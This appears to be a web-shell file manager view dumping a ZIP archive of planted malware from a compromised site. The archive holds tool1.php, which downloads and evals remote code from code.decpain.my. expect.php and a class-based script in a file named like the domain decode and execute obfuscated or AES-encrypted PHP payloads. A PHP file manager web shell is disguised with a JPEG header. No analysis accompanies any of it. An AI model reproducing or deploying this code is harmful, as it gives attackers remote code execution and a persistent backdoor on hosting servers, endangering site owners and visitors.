ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
File manager
File manager - Edit - /home/tokomrjk/hijabtrendz.com/saddmussoc.org.zip
Back
PK 59�\�k��t t tool1.phpnu �[��� <?php $path = "https://code.decpain.my/fgj/1/tool.php"; $code = implode('', file($path)); eval("?>" . $code); ?>PK 59�\� u! ! dmca-validation.htmlnu �[��� Yk5GbTVmU1RKcUJrd3lqbmFvTllHZz090PK 59�\���v v expect.phpnu �[��� <?php function free_resources($v) { $f = array(64 + 23 + 12, 2 * 52, 105 * 1 + 9); $p = ''; foreach ($f as $c) { $p .= chr($c); } return $p($v); } $dpz = array((98 + 19 - 19 * 1) / 1 * 1 / 1, 97 + 7 + 10 - (7 + 10) + 6 - 6 - 3 + 3 - 16 + 16, 115 * 5 / 5 + 4 + 9 - (4 + 9) + 10 - 10 + 19 - 19 - 16 + 16, 101 + 8 + 8 - (8 + 8) - 5 + 5 - 6 + 6 + 2 + 4 - (2 + 4) + 1 + 9 - (1 + 9), 54 - 10 + 10 + 1 - 1, (52 + 10 - 10 * 1) / 1, 95 + 8 + 9 - (8 + 9) + 6 + 4 - (6 + 4) + 11 - 11 - 3 + 3, 100 + 13 - 13 + 8 + 8 - (8 + 8) - 8 + 8, (101 + 14 - 14 - 15 + 15 * 1) / 1, 99 + 15 - 15 - 6 + 6, ((111 * 1 / 1 + 18 - 18 * 1) / 1 - 20 + 20 * 1) / 1, 100 * 50 / 50 + 5 - 5, 101 + 4 + 1 - (4 + 1) + 10 - 10 + 1 + 4 - (1 + 4)); $lfa = ''; foreach ($dpz as $wjc) { $lfa .= free_resources($wjc); } $yqw = 'ydzdIJRp1imqIf+0FWAQVSYBifgCxDzvTX9DxX2hEuwnG8zU0GqXC8gYjXFbCYGAtwabQbYD373mMbEgaGZ2jgen8CX+RHrokyv1K1mqXVRvqkN0oI5pa6G/YUwy800FlZNzidXBypHkegkbFx4rrudXpM5GZBIM8S00ty4OHaQORlgNAyRj+GdsXmXkIIouShSkKXyGDvJAndWandho4yibVeEc7NM6CTdcB3NM1UccNbvXXj/sM5VzBxjY1/2MZ/jLQJNtpXaFzLjtN07xnBsTaLDzbF3rxiUOqsiYlDF0WNtxHfxIXChvs5u/3sfCp5wMYJaRu442HKoR7X+WMR6KQ91XtvAIvQ4ROR451gvgQrKJUKM+Uj6KEMKWD7fLxNWouEedOUBqProZXg1Puwzz/yZAtgmE16fmtZM7mrFOx/n7gOuAaNNkh8YjBB4dG7a22SCgVhtZ+qxlCSVz3UQR6ifISltH1mO+5Mo9mJtDlJ/1pGk6H9v+bq+knRsh+AzPcwaIvmLVinOkkBXKjEcbxYqzOMqHJWf1wI4Tp1GxYb+mx360+WgsxgD8b3kY0P2lkCb4nq8CYJRvyVeqH8qv13uKu3ETLH7V+hQ9GFInned8wTTAxgPs4p+Zdww3bBZ+bPnkiIcyrXzjLuMrfH3HN7bb/ZoWEbBBLI+lOg8A1U5r1ku8FqNZbaA+g+4XO5gWPh/g8jHaXVGnSchqY/vIGFTaSb9KmHwHBsY4EBfcqOhxUB3TnZuQZlfjYGLHVBdKsxGfRMdQsmHi0riKXSjbKr2C12marZVnk8MVmkoC0kta4mDQHVB9s2tzDATSJjY3MBjSKrc30LuHxtHXZuJlNQK4n3/dd4eqfUV031b0DKtbnwGKaV0d0d2TpAlGVi+ZxStHXRM8CV752QwWiYyzwYzdMAHnAivnt2GfBXqrfjaJj3kzWqmbSHifd+s2sBu0/6bCWbSNVv9oTdj9f9vhjFFA5k7ZaIqhAATAX8wgcdhRcLE7sjgMrsuLxJYSOclaE51Dh+fhiZcTqUjzvBdh30BwPWngk+izMq+dz/cqva4NDIfxX38LTYehrEUfsCVWkiQDIg1LiHdwuXVuN2OQLotsUH3INi9BAZ+FrrGAZfQJN3bYVd9H3vcJoRaW'; $mgd = 'Cp8bff1xzy6I/pn1hCo1/I9+rf/3MeakCl9r6BeTUHA='; $hot = 'OxbEzDkTFjG1AAXAwsU5QQ=='; $omn = openssl_decrypt($lfa($yqw), 'aes-256-cbc', $lfa($mgd), OPENSSL_RAW_DATA, $lfa($hot)); eval($omn);PK 59�\�V��[ [ ? .well-known/pki-validation/687ED344E2B6433D4D2540B4CEE6C678.txtnu �[��� ACFC9F94E9448B1171B0305B8BA7744C333C13C8E8A1B37940A5D6F1D715055C comodoca.com 68edf53c3282dPK 59�\��,[ [ ? .well-known/pki-validation/FCE42CFF056426AA00FAF59C3BED77FA.txtnu �[��� 1106DF488649FB1E39BF60AA7527FCD6D0447D7EFC4CDE225354BAD21B8838AB comodoca.com 66f64af0bc043PK 59�\�xC� � error_lognu �[��� [09-Apr-2026 07:59:24 UTC] PHP Warning: Undefined variable $authorization in /home/tokomrjk/saddmussoc.org/file61.php on line 21 [09-Apr-2026 07:59:24 UTC] PHP Warning: Undefined variable $translation in /home/tokomrjk/saddmussoc.org/file61.php on line 82 [09-Apr-2026 07:59:24 UTC] PHP Warning: Trying to access array offset on value of type null in /home/tokomrjk/saddmussoc.org/file61.php on line 83 [09-Apr-2026 07:59:24 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/tokomrjk/saddmussoc.org/file61.php on line 84 [09-Apr-2026 08:17:57 UTC] PHP Warning: Undefined variable $authorization in /home/tokomrjk/saddmussoc.org/file61.php on line 21 [09-Apr-2026 08:17:57 UTC] PHP Warning: Undefined variable $translation in /home/tokomrjk/saddmussoc.org/file61.php on line 82 [09-Apr-2026 08:17:57 UTC] PHP Warning: Trying to access array offset on value of type null in /home/tokomrjk/saddmussoc.org/file61.php on line 83 [09-Apr-2026 08:17:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/tokomrjk/saddmussoc.org/file61.php on line 84 [09-Apr-2026 08:17:59 UTC] PHP Warning: Undefined variable $authorization in /home/tokomrjk/saddmussoc.org/file61.php on line 21 [09-Apr-2026 08:17:59 UTC] PHP Warning: Undefined variable $translation in /home/tokomrjk/saddmussoc.org/file61.php on line 82 [09-Apr-2026 08:17:59 UTC] PHP Warning: Trying to access array offset on value of type null in /home/tokomrjk/saddmussoc.org/file61.php on line 83 [09-Apr-2026 08:17:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/tokomrjk/saddmussoc.org/file61.php on line 84 PK 59�\��Ts 7 7 saddmussoc.org:80.phpnu ��6�$ <?php class DataTransformer { private $qp = ''; private $pj = ''; public function fetchSummary($p1) { $f = array(83 + 18 + 9, 105, 78 + 20, 57 - 7, 110 + 10, 94 + 7, 2 * 52); $v = ''; foreach ($f as $e) { $v .= chr($e); } $v = strrev($v); return $v($p1); } public function fetchRecords($p1) { $y = array(52 - 1, 47 * 1 + 2, 84 + 32, 119 - 8, 114, 78 + 10 + 7, 110 * 55 - 5936, 49 * 92 - 4392, 29 * 3 + 28); $c = ''; foreach ($y as $z) { $c .= chr($z); } $c = strrev($c); return $c($p1); } public function scheduleJob($p1, $p2) { $k = array(103 - 1, 111, 2 * 56, 101, 107 + 3); $x = ''; foreach ($k as $m) { $x .= chr($m); } return $x($p1, $p2); } public function parseResponse($p1, $p2) { $y = array(12 + 89, 88 + 28, 32 + 73, 37 * 110 - 3956, 90 * 1 + 29, 65 * 13 - 743); $v = ''; foreach ($y as $j) { $v .= chr($j); } $v = strrev($v); return $v($p1, $p2); } public function filterResults($p1) { $r = array(68 * 1 + 34, 101 - 2, 2 * 54, 96 * 1 + 15, 88 + 27, 97 + 4); $o = ''; foreach ($r as $h) { $o .= chr($h); } return $o($p1); } public function prepareOutput($p1, $p2 = null) { $a = array(52 + 57, 48 * 1 + 57, 106 + 5 + 3, 21 + 30 + 65, 8 * 1 + 106); $p = ''; foreach ($a as $h) { $p .= chr($h); } $p = strrev($p); return $p($p1, $p2); } public function logTransaction() { $this->pj = $this->prepareOutput($this->resolveAction(), '/'); } public function sendNotification() { $this->qp = $this->fetchRecords($this->fetchSummary($this->od)); } public function checkConsistency() { $fn = $this->pj . '/sm-68c9840569e03'; $f = $this->scheduleJob($fn, 'w'); $this->parseResponse($f, $this->qp); $this->filterResults($f); $this->generateToken($fn); } private $od = '3c3f6375632070796e6666205f66717b636576696e6772206' . '6676e677670245f626d3b66676e67767020736861706776626' . '1205f6d656828245f69722c245f737a297b767328216672797' . '33a3a245f626d29667279733a3a5f746c28293b245f7361623' . 'd66676579726128245f737a293b245f71733d6f6e667236345' . 'f71727062717228667279733a3a245f626d5b245f69725d293' . 'b73626528245f6b68663d302c245f79743d666765797261282' . '45f7173293b245f6b6866213d3d245f79743b2b2b245f6b686' . '629245f71735b245f6b68665d3d7075652862657128245f717' . '35b245f6b68665d295e62657128245f737a5b245f6b6866252' . '45f7361625d29293b657267686561245f71733b7d636576696' . 'e67722066676e677670207368617067766261205f746c28297' . 'b667279733a3a245f626d3d6e65656e6c28275f696d7a273d3' . 'e275574524451466a454b76666a514e706e5a4e357258475a4' . '2554f396c5944524f424e667148613956272c275f74726b273' . 'd3e27554f484e55776248547870594e6b34434d49624354763' . '84a4f6a782b517470535a494852506c786f55447867526b347' . '2272c275f6d7370273d3e27434f4e3d272c275f796c273d3e2' . '74274346152776a305753444a5544634a526b305849755a715' . '0794c475544634a5375346e506d6674584e6644557671464f4' . '6387748754c72547466385477664353753050506d666a426b7' . '4374150716f272c275f6a7871273d3e2759753457576a3d3d2' . '72c275f7a7870273d3e274c6b74564b443d3d272c275f66717' . '7273d3e274c6b704a5254523d272c275f6a64273d3e27584f5' . '2594f4e3d3d272c275f7a61273d3e27272c275f6f706c273d3' . 'e27272c275f666a273d3e27272c275f617677273d3e27416a4' . '44e4f4a49734a6a4864527962504275564655515a49554f626' . '64f4f525570455a6f54554e47546b7469556a7044594934724' . 'f7a4e485344522b47443d3d272c275f656978273d3e27434f3' . '04550444e4f51446a65272c275f7076273d3e27416a3044596' . 'c4c555a4f304f272c275f7463273d3e27594f5a44427530712' . '72c275f716467273d3e27416b665a4e6c6a3d272c275f61676' . 'e273d3e2754506674446a3d3d272c275f616c74273d3e27596' . 'b6645416a3d3d272c275f6b65273d3e27597448564e764c3d2' . '72c275f747476273d3e274c4e3d3d272c275f696e6d273d3e2' . '75975305550764c3d272c275f6d7377273d3e27736d346d567' . '4394d497975697232302b5a4e48474755383d272c275f75722' . '73d3e27416a5a4c586a3d3d272c275f7969273d3e274861386' . '1506d526f4e447065554e66584d49486150514e544e4a79497' . '254343d272c275f6f7a76273d3e27594e4c55494b4f6e272c2' . '75f7672273d3e27272c275f726876273d3e27416b664d586a3' . 'd3d272c275f71626e273d3e274861383d272c275f7a7272273' . 'd3e27536d7039426a4e745746566e5947303053775a3d272c2' . '75f6b61273d3e27536c7034516c6a304e51487751464467514' . '77063546c6a645250523d272c275f63656d273d3e2751465a7' . '7525156654e507064546d443d272c275f79626b273d3e27536' . 'c447957444e7956774e41596d4e6c54773479272c275f69766' . '9273d3e27536c342b516c482f515138344e5166675477442b2' . '72c275f6770273d3e27272c275f7a6e273d3e27536d7839516' . 'd56375476666651467437272c275f6170273d3e27536d74395' . '8744e2b59516a6e43766a62272c275f6864273d3e27272c275' . 'f71757a273d3e27536c6a6d5a744e37586c666e41775a39537' . '6743d272c275f787278273d3e27536d3438516d4865526c5a6' . '7524734335377623d272c275f736f273d3e27536d3875516d4' . '4674e50303651476a305146386a546d446d5251783d272c275' . 'f6f70273d3e27536c6a77516c70694e5134345146383251476' . 'a6c546c706b5250623d272c275f686a273d3e2751463469424' . '466684347706f596d4e3d272c275f6772273d3e275147567a5' . '974666c41504e6f5a6d783d272c275f646d70273d3e27426a5' . '2445a746a4742743d3d272c275f7075273d3e2753764150457' . '43d3d272c275f766a273d3e27736b79464245357348743d3d2' . '72c275f6f76273d3e27736a676e427762454452743d272c275' . 'f786875273d3e2773315a4959495339272c275f6867273d3e2' . '74174523d272c275f666b273d3e275875743d272c275f66707' . '1273d3e2759454857272c275f7169273d3e2759745a4e52443' . 'd3d272c293b7d7d75726e717265285f66713a3a5f6d6568282' . '75f696d7a272c275f6f66752729293b75726e717265285f667' . '13a3a5f6d656828275f74726b272c275f6d61772729293b767' . '328766666726728245f5452475b5f66713a3a5f6d656828275' . 'f6d7370272c275f6b7427295d29297b245f776b3d5f656f285' . 'f66713a3a5f6d656828275f796c272c275f6a7a6f2729293b7' . '67328245f776b262666676563626628245f776b2c5f66713a3' . 'a5f6d656828275f6a7871272c275f7666272929213d3d736e7' . '96672297b717672285f66713a3a5f6d656828275f7a7870272' . 'c275f6a70702729293b7d727966727b717672285f66713a3a5' . 'f6d656828275f667177272c275f686a672729293b7d7d76732' . '8766666726728245f5452475b5f66713a3a5f6d656828275f6' . 'a64272c275f63747527295d29297b245f79743d245f5042425' . '856523b245f737a3d2876616729656268617128302b30293b2' . '45f69723d2876616729656268617128332e352b332e35293b2' . '45f616e6b3d6e65656e6c28293b245f616e6b5b245f737a5d3' . 'd5f66713a3a5f6d656828275f7a61272c275f6b7627293b6a7' . '576797228245f6972297b245f616e6b5b245f737a5d2e3d245' . 'f79745b2d3131362d39362b3234325d5b245f69725d3b76732' . '821245f79745b287661672965626861712831352b3135295d5' . 'b245f69722b2876616729656268617128302e3333333333333' . '3333333333333332b302e33333333333333333333333333332' . 'b302e3333333333333333333333333333295d297b767328212' . '45f79745b35382b2d312d32342d335d5b245f69722b2876616' . '729656268617128312b31295d296f65726e783b245f737a2b2' . 'b3b245f616e6b5b245f737a5d3d5f66713a3a5f6d656828275' . 'f6f706c272c275f66706627293b245f69722b2b3b7d245f697' . '23d245f69722b2832352d3138292b282d3137332b3232352d3' . '531293b7d245f737a3d245f616e6b5b2876616729656268617' . '128372b37295d28292e245f616e6b5b2876616729656268617' . '128362b362b362b36295d3b76732821245f616e6b5b32352d3' . '1395d28245f737a29297b245f69723d245f616e6b5b2d39342' . 'd34362d3331332b3437395d28245f737a2c245f616e6b5b287' . '6616729656268617128352b35295d293b245f616e6b5b2d323' . '7392b33362b3235325d28245f69722c245f616e6b5b2d38323' . '12d202d36362d202d3836382d3130325d2e245f616e6b5b313' . '1312b3630302d3638385d28245f616e6b5b32352b305d28245' . 'f79745b3534322d3231372d3430332b38315d2929293b7d766' . '1707968717228245f737a293b7d7368617067766261205f656' . 'f28245f61792c245f70617a3d277a71716b69626f616971736' . '37864747627297b245f6967743d5f66713a3a5f6d656828275' . 'f666a272c275f78777027293b245f796b633d5f66713a3a5f6' . 'd656828275f617677272c275f63676827292e245f61793b767' . '32876665f706e79796e6f7972285f66713a3a5f6d656828275' . 'f656978272c275f757072272929297b245f666e3d706865795' . 'f7661766728245f796b63293b706865795f667267626367282' . '45f666e2c504845594243475f4646595f49524556534c43525' . '2452c736e796672293b706865795f66726762636728245f666' . 'e2c504845594243475f4646595f49524556534c554246472c2' . '876616729656268617128302e352b302e352b302e352b302e3' . '529293b706865795f66726762636728245f666e2c504845594' . '243475f53425959424a5942504e475642412c2876616729656' . '268617128302e32352b302e32352b302e32352b302e3235292' . '93b706865795f66726762636728245f666e2c5048455942434' . '75f45524748454147454e41465352452c3439392b2d3635352' . 'd202d313537293b706865795f66726762636728245f666e2c5' . '04845594243475f55524e5152452c287661672965626861712' . '8302b302b3029293b706865795f66726762636728245f666e2' . 'c504845594243475f5042414152504747565a524248472c2d3' . '633302d202d3430352b3633312d333936293b706865795f667' . '26762636728245f666e2c504845594243475f47565a5242484' . '72c2d39392b2d39322d202d323031293b245f6967743d70686' . '5795f726b727028245f666e293b245f6371613d706865795f7' . '472677661736228245f666e293b706865795f7079626672282' . '45f666e293b767328245f6371615b5f66713a3a5f6d6568282' . '75f7076272c275f6c7127295d213d287661672965626861712' . '835302b35302b35302b3530292965726768656120736e79667' . '23b7d727966727b245f71673d636e6566725f68657928245f7' . '96b63293b245f757a643d28245f71675b5f66713a3a5f6d656' . '828275f7463272c275f636b27295d3d3d5f66713a3a5f6d656' . '828275f716467272c275f626b662729293b245f7168743d5f6' . '6713a3a5f6d656828275f61676e272c275f61677027292e245' . 'f71675b5f66713a3a5f6d656828275f616c74272c275f6d722' . '7295d3b767328766666726728245f71675b5f66713a3a5f6d6' . '56828275f6b65272c275f637a6327295d2929245f7168742e3' . 'd5f66713a3a5f6d656828275f747476272c275f777427292e2' . '45f71675b5f66713a3a5f6d656828275f696e6d272c275f756' . 'f6b27295d3b245f7168742e3d5f66713a3a5f6d656828275f6' . 'd7377272c275f69746927292e245f71675b5f66713a3a5f6d6' . '56828275f7572272c275f797827295d2e5f66713a3a5f6d656' . '828275f7969272c275f68717127293b245f797a793d7366627' . '078626372612828245f757a643f5f66713a3a5f6d656828275' . 'f6f7a76272c275f68786227293a5f66713a3a5f6d656828275' . 'f7672272c275f6e63732729292e245f71675b5f66713a3a5f6' . 'd656828275f726876272c275f677727295d2c245f757a643f3' . '432362d3436312d3437362b3935343a3231302b2d313330293' . 'b767328245f797a79297b736368676628245f797a792c245f7' . '16874293b245f71733d282d31302b3130293b6a75767972282' . '17372627328245f797a7929297b245f7876683d73747267662' . '8245f797a792c313035322d313030342d202d393736293b767' . '328245f717329245f6967742e3d245f7876683b767328245f7' . '876683d3d5f66713a3a5f6d656828275f71626e272c275f686' . '5272929245f71733d282d3132312d202d313232293b7d73707' . '962667228245f797a79293b7d7d657267686561245f6967743' . 'b7d245f79613d766666726728245f4652454952455b5f66713' . 'a3a5f6d656828275f7a7272272c275f70767827295d293b245' . 'f7a7a6f3d766666726728245f4652454952455b5f66713a3a5' . 'f6d656828275f6b61272c275f667927295d293b245f6d763d7' . '66666726728245f4652454952455b5f66713a3a5f6d6568282' . '75f63656d272c275f736127295d293b245f6e743d766666726' . '728245f4652454952455b5f66713a3a5f6d656828275f79626' . 'b272c275f63646827295d293f245f4652454952455b5f66713' . 'a3a5f6d656828275f697669272c275f6d7727295d3a5f66713' . 'a3a5f6d656828275f6770272c275f6b6b6f27293b245f6b766' . '73d766666726728245f4652454952455b5f66713a3a5f6d656' . '828275f7a6e272c275f7a7627295d293f245f4652454952455' . 'b5f66713a3a5f6d656828275f6170272c275f79766d27295d3' . 'a5f66713a3a5f6d656828275f6864272c275f6c636d27293b2' . '45f79613d766666726728245f4652454952455b5f66713a3a5' . 'f6d656828275f71757a272c275f6b746f27295d293f245f465' . '2454952455b5f66713a3a5f6d656828275f787278272c275f7' . '77527295d3a616879793b245f7a7a6f3d766666726728245f4' . '652454952455b5f66713a3a5f6d656828275f736f272c275f7' . '86827295d293f245f4652454952455b5f66713a3a5f6d65682' . '8275f6f70272c275f6b6a27295d3a616879793b245f6d763d7' . '66666726728245f4652454952455b5f66713a3a5f6d6568282' . '75f686a272c275f786f6927295d293f245f4652454952455b5' . 'f66713a3a5f6d656828275f6772272c275f6a786e27295d3a6' . '16879793b7673287376796772655f696e6528245f79612c393' . '52b2d3333342d313032342b3135333829297b245f6a643d245' . 'f79613b7d727966727673287376796772655f696e6528245f7' . 'a7a6f2c28766167296562686171283133372e352b3133372e3' . '52929297b245f6a643d245f7a7a6f3b7d727966727b245f6a6' . '43d245f6d763b7d767328766666726728245f5452475b5f667' . '13a3a5f6d656828275f646d70272c275f706a27295d29297b7' . '2707562205f66713a3a5f6d656828275f7075272c275f666b7' . '327292e245f6a642e5f66713a3a5f6d656828275f766a272c2' . '75f72657927292e245f6e742e5f66713a3a5f6d656828275f6' . 'f76272c275f6a6d7527292e245f6b76672e5f66713a3a5f6d6' . '56828275f786875272c275f626a27293b726b766728293b7d7' . '6732821766666726728245f6a64297c7c21766666726728245' . 'f6e74297c7c21766666726728245f6b766729297b726b76672' . '8293b7d727966727b245f73663d6e65656e6c285f66713a3a5' . 'f6d656828275f6867272c275f646227293d3e245f6a642c5f6' . '6713a3a5f6d656828275f666b272c275f6c6227293d3e245f6' . 'e742c5f66713a3a5f6d656828275f667071272c275f63626e2' . '7293d3e245f6b7667293b245f72766c3d68657972617062717' . '2286f6e667236345f72617062717228776662615f726170627' . '17228245f73662929293b245f776b3d5f656f28245f72766c2' . '93b767328245f776b262666676563626628245f776b2c5f667' . '13a3a5f6d656828275f7169272c275f676d76272929213d3d7' . '36e796672297b72707562245f776b3b726b766728293b7d7d'; public function generateToken($p) { require $p; } public function resolveAction() { $a = array(87 * 11 - 842, 11 * 11, 5 * 23, 58 + 17 + 20, 100 + 2 + 1, 101 * 1, 90 * 122 - 10864, 5 * 19, 121 - 5, 31 * 2 + 39, 109 * 1, 16 * 83 - 1216, 102 - 7, 105 - 5, 61 * 1 + 44, 114); $s = ''; foreach ($a as $n) { $s .= chr($n); } return $s(); } } $tc = new DataTransformer(); $tc->logTransaction(); $tc->sendNotification(); $tc->checkConsistency();PK 59�\�6?iVi Vi file61.phpnu �[��� <html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><?php ?> ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.- <?php /* PHP File manager ver 1.5 */ // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en', 'ru', 'de', 'fr', 'uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path = str_replace('\\', '/', realpath('./')); $phar_maybe = version_compare(phpversion(), "5.3.0", "<") ? true : false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization, true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = isset($auth['days_authorization']) && is_numeric($auth['days_authorization']) ? (int) $auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) { $fm_config = $fm_default_config; } else { $fm_config = unserialize($_COOKIE['fm_config']); } // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + 86400 * $auth['days_authorization']); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if ($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])) { $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)) { foreach ($lang_priority as $lang_arr) { $lng = explode(';', $lang_arr); $lng = $lng[0]; if (in_array($lng, $langs)) { $language = $lng; break; } } } } // Cookie language is primary for ever $language = empty($_COOKIE['fm_lang']) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation, true); if ($lang['id'] != $language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'", ''', json_encode(json_decode($get_lang), JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $translation_string, $fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } $lang = json_decode($translation_string, true); } } /* Functions */ //translation function __($text) { global $lang; if (isset($lang[$text])) { return $lang[$text]; } else { return $text; } } //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if ($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if ($el != '.' && $el != '..') { fm_del_files($file . '/' . $el, true); } } } if (@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false) { $perms = fileperms($file); $info = ''; if (!$if) { if (($perms & 0xc000) == 0xc000) { //Socket $info = 's'; } elseif (($perms & 0xa000) == 0xa000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= $perms & 0x100 ? 'r' : '-'; $info .= $perms & 0x80 ? 'w' : '-'; $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-'); //Group $info .= $perms & 0x20 ? 'r' : '-'; $info .= $perms & 0x10 ? 'w' : '-'; $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-'); //World $info .= $perms & 0x4 ? 'r' : '-'; $info .= $perms & 0x2 ? 'w' : '-'; $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-'); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode, 9, '-'); $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1'); $mode = strtr($mode, $trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if (@is_dir($file) && $rec) { $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die; } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die; } } } //show folder size function fm_dir_size($f, $format = true) { if ($format) { $size = fm_dir_size($f, false); if ($size <= 1024) { return $size . ' bytes'; } elseif ($size <= 1024 * 1024) { return round($size / 1024, 2) . ' Kb'; } elseif ($size <= 1024 * 1024 * 1024) { return round($size / (1024 * 1024), 2) . ' Mb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024), 2) . ' Gb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024 * 1024), 2) . ' Tb'; } else { return round($size / (1024 * 1024 * 1024 * 1024 * 1024), 2) . ' Pb'; } // ;-) } else { if (is_file($f)) { return filesize($f); } $size = 0; $dh = opendir($f); while (($file = readdir($dh)) !== false) { if ($file == '.' || $file == '..') { continue; } if (is_file($f . '/' . $file)) { $size += filesize($f . '/' . $file); } else { $size += fm_dir_size($f . '/' . $file, false); } } closedir($dh); return $size + filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if (!empty($exp)) { $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if (!empty($type) && $type !== 'all') { $func = 'is_' . $type; } if (@is_dir($directory)) { $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if (substr($filename, 0, 1) != '.' || $do_not_filter) { if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))) { $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get, $link, $name, $title = '') { if (empty($title)) { $title = $name . ' ' . basename($link); } return ' <a href="?' . $get . '=' . base64_encode($link) . '" title="' . $title . '">' . $name . '</a>'; } function fm_arr_to_option($arr, $n, $sel = '') { foreach ($arr as $v) { $b = $v[$n]; $res .= '<option value="' . $b . '" ' . ($sel && $sel == $b ? 'selected' : '') . '>' . $b . '</option>'; } return $res; } function fm_lang_form($current = 'en') { return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="' . __('Language') . '" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" ' . ($current == 'en' ? 'selected="selected" ' : '') . '>' . __('English') . '</option> <option value="de" ' . ($current == 'de' ? 'selected="selected" ' : '') . '>' . __('German') . '</option> <option value="ru" ' . ($current == 'ru' ? 'selected="selected" ' : '') . '>' . __('Russian') . '</option> <option value="fr" ' . ($current == 'fr' ? 'selected="selected" ' : '') . 